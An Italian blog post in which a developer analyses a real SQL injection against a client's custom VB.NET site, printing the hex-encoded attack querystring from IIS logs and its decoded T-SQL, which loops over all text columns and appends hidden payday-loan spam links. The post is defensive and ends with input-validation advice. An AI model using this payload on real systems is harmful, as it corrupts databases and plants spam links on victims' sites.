Anatomia di un attacco hacker

Una sera di poco tempo fa mi perviene una mail dal cliente in cui si segnala il fatto che il sito web avevo dei “problemi” con le immagini.

Premessa: il sito è realizzato con un cms custom totalmente custom, scritto in VB.NET (che qualcuno forse sa, io aborro). E’ un sito che contiene foto e video del cliente, un artista VIP che vive e lavora a New York (questo il motivo della mail serale).

Fatto sta che appena apro il sito la mattina dopo mi trovo tutti i link modificati: puntavano ad un sito di prestiti online. Poteva andare peggio, poteva essere un sito porno o di trojan.

Per fortuna dopo aver restorato un backup del db giorno prima, mi posso dedicare a capire che cavolo sia successo.

Inizio a controllare i log di IIS, che sono lammerda perchè IIS crea cartelle con un codice WS + codice sequenziale, ma non ne tiene un riferimento nel pannello di IIS (chiamare la cartella col nome del sito tipo Apache faceva brutto).

Dopo circa un’ora di ricerche spulciando i file di log di IIS uno per uno, perchè Windows non effettua la ricerca per contenuto se non da console con un findtstr /s “sitoattaccato.com”,  tra le varie chiamate ne trovo una peculiare:

www.sitoattaccato.com?q=641+declare+@s+varchar(8000)+set+@s=cast(0x7365742061
6e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f72
20435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e73
20632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e
74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d65
20616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f72
20494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d
434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e613377397b706f736974696f6e3a6162736f6c7574653b636c6970
3a726563742834343370782c6175746f2c6175746f2c3434337078293b7d3c2f7374796c653e3c64697620636c6173733d613377393e5468696e6b207468652070726f626c656d206973203c61
20687265663d687474703a2f2f7061796461796c6f616e73666f72737572652e636f6d203e3120686f757220706179646179206c6f616e733c2f613e206d616e6461746520686f77206c6f616e
7320686f7720706179646179206c6f616e2e3c2f6469763e2727202729204645544348204e455542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5
345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)

Il primo parametro della querystring, q, era quello corretto. Mannaggia a chi aveva fatto sto maledetto applicativo, non c’era nessun controllo su quello che veniva passato OLTRE il parametro numerico.

Questa simpatica querystring infatti convertita in maniera “leggibile” diventa

set ansi_warnings off
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME
from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in (‘nvarchar’,’varchar’,’ntext’,‘text’)
and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name
and t.table_type=’BASE TABLE’
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=CONVERT(VARCHAR(8000),[‘+@C+’])+”</title><style>.a3w9{position:absolute;clip:rect(443px,auto,auto,443px);}</style><div class=a3w9>Think the problem is <a href=http://paydayloansforsure.com >1 hour payday loans</a> mandate how loans how payday loan.</div>” ‘)
FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Ovvero cerca in tutte le tabelle che trova e fa un update sui campi aggiungendo il suo pezzo di codice con il link malevolo.
L’IP di provenienza dell’attacco era kazako, abbastanza plausibile direi. Quello che devo ancora capire è se sia stata una cosa mirata e organica, oppure se sia stato un bot che spiderava url a caso.
In conclusione: controllate sempre le querystring che vi passano, non passate direttamente un parametro ad una query per il db, ma soprattutto NON VI FIDATE MAI DEI CRITERI DI SICUREZZA DEI COLLEGHI
PS e non vi fidate di un linguaggio che non ha l’operatorer ternario come il VB

abdul

Abdul Alhazared, a.k.a. Al Azif, ha circa 1000 anni e gironzola su vari piani dell'esistenza. Dopo aver scritto il Necronomicon si è dedicato alla tecnologia e alla scienza, muovendosi di tanto in tanto in Europa.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.

Torna in alto